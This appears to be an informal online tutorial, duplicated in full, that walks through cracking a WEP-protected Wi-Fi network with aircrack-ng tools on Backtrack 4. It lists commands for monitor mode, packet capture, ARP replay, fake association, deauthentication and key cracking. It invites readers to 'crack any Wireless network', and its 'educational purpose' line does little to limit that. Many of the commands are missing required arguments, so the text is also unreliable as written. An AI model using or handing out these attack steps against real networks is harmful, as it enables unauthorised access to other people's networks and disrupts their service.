Here is the detailed method for hacking a Wi-fi network......
Run the commands enlisted below in console mode of Linux Backtrack 4. (search in Google.. and u'll get the live CD for Backtrack 4 )
I tried to be as clear as possible.. at every command.. I tried to give brief explanation of the command itself.
You can try these steps to crack any Wireless network. It's strictly for Educational purpose.
------------------------------?-----------------------------
Finding the list of available Interfaces:
Iwconfig
------------------------------?----------------------------
Bring the card in monitor mode:
iwconfig mode monitor "Enable Monitor Mode"
OR
Bring the card in monitor mode using:
airmon-ng start
------------------------------?----------------------------
Scan for Access points and associated clients:
airodump-ng "GET BSSID, Channel, Station ID" first session
------------------------------?----------------------------
Capture packets to file:
airodump-ng --write --channel -b
------------------------------?----------------------------
Injection test:- check whether the card support injection or not:
aireplay-ng -9
------------------------------?----------------------------
Arp replay Attack:
aireplay-ng -3 -x 512 -b -h "ARP Attack"
------------------------------?----------------------------
Fake Association attack:
aireplay-ng -1 16 -a -c
------------------------------?----------------------------
Deauthentication Attack :
aireplay-ng -0 4 -a -h "Deauth Attack"
------------------------------?----------------------------
Crack WEP Key:
aircrack-ng -a 1 -b *.cap
------------------------------?--------------------------
You would require two essentials for cracking the wireless network:
1. Backtrack 4 Live CD
2. Wireless Network card
PLz dont try to hack any network with ur Laptop Wi-fi.. coz it sends huge number of packets to the network.. approx 35,000 packets ( to the network which we suppose to hack ). But if you wish to never use ur Laptop Wi-fi.. then it may actually a good solution for you.
....................................................................................................
Run the commands enlisted below in console mode of Linux Backtrack 4. (search in Google.. and u'll get the live CD for Backtrack 4 )
I tried to be as clear as possible.. at every command.. I tried to give brief explanation of the command itself.
You can try these steps to crack any Wireless network. It's strictly for Educational purpose.
------------------------------?-----------------------------
Finding the list of available Interfaces:
Iwconfig
------------------------------?----------------------------
Bring the card in monitor mode:
iwconfig mode monitor "Enable Monitor Mode"
OR
Bring the card in monitor mode using:
airmon-ng start
------------------------------?----------------------------
Scan for Access points and associated clients:
airodump-ng "GET BSSID, Channel, Station ID" first session
------------------------------?----------------------------
Capture packets to file:
airodump-ng --write --channel -b
------------------------------?----------------------------
Injection test:- check whether the card support injection or not:
aireplay-ng -9
------------------------------?----------------------------
Arp replay Attack:
aireplay-ng -3 -x 512 -b -h "ARP Attack"
------------------------------?----------------------------
Fake Association attack:
aireplay-ng -1 16 -a -c
------------------------------?----------------------------
Deauthentication Attack :
aireplay-ng -0 4 -a -h "Deauth Attack"
------------------------------?----------------------------
Crack WEP Key:
aircrack-ng -a 1 -b *.cap
------------------------------?--------------------------
You would require two essentials for cracking the wireless network:
1. Backtrack 4 Live CD
2. Wireless Network card
PLz dont try to hack any network with ur Laptop Wi-fi.. coz it sends huge number of packets to the network.. approx 35,000 packets ( to the network which we suppose to hack ). But if you wish to never use ur Laptop Wi-fi.. then it may actually a good solution for you.
....................................................................................................
